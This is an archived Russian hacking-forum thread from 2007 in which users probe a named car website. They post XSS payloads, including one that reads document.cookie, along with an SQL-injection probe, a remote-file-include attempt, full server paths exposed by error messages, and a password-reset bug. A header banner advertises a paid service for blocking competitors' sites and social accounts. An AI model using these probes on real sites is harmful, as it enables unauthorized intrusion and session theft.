udmauto.ru

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Проверка на уязвимости
udmauto.ru

Опции темы

Поиск в этой теме

Опции просмотра

udmauto.ru

20.07.2007, 08:42

neval

Moderator - Level 7

Регистрация: 13.12.2006

Сообщений: 531

С нами: 10215686

Репутация: 383

udmauto.ru

Всем спасибо.
Закрыто.

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось neval; 03.09.2007 в 16:23..

20.07.2007, 12:16

Elvis000

Постоянный

Регистрация: 23.04.2007

Сообщений: 646

С нами: 10027046

Репутация: 1035

"/><script>alert(/xss/)</script> в поле поиск, в поле e-mail

http://udmauto.ru/img.php?rand=995248785&file=1'

Последний раз редактировалось Elvis000; 25.07.2007 в 06:10..

20.07.2007, 20:05

halkfild

Постоянный

Регистрация: 11.11.2005

Сообщений: 391

С нами: 10787366

Репутация: 2277

вышеописаные ксс

расскрытие путей

Код:

/home/automark/public_html/udmauto-ru/img.php

это просто так
http://udmauto.ru/img.php?rand=243436185&file=http://img138.imageshack.us/img138/7638/new14zh2.jpg

типо инклюд только бесполезный

смотрю дальше

24.07.2007, 17:10

Dark.iNiTro

Новичок

Регистрация: 20.07.2007

Сообщений: 2

С нами: 9899972

Репутация: 1

совет - фильтровать данные не только с помошью mod_rewrite но и в скрипте (если вся безопасноть основываеться только на этом моде)

04.08.2007, 16:26

halkfild

Постоянный

Регистрация: 11.11.2005

Сообщений: 391

С нами: 10787366

Репутация: 2277

баг в восстановлении пароля..

вводим любое слово в мейл и нажимаем напомнить

Цитата:

ошибка: пользователь < antichat > не найден

Warning: Cannot modify header information - headers already sent by (output started at /home/automark/public_html/udmauto-ru/_lib/lib_author.inc.php:266) in /home/automark/public_html/udmauto-ru/_lib/lib_author.inc.php on line 393

баг в подписке http://udmauto.ru/personal-subscr.html

Цитата:

Warning: Variable passed to each() is not an array or object in /home/automark/public_html/udmauto-ru/_lib/tools.inc.php(1684) : eval()'d code on line 16

раскрытие путей в файле personal-face.html в профиле

Цитата:

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /home/automark/public_html/udmauto-ru/_lib/tools.inc.php on line 3637
Not Supported File
Warning: copy(/home/automark/public_html/udmauto-ru/thumbnails/300-home/qwwwww@inbox.ru/2.php) [function.copy]: failed to open stream: No such file or directory in /home/automark/public_html/udmauto-ru/_usr/personalchange.inc.php on line 55

Пассивная ксс

Цитата:

http://udmauto.ru/use-remember&login=qwww%22%3E%3Cscript%3Ealert(documen t.cookie)%3C/script%3E.html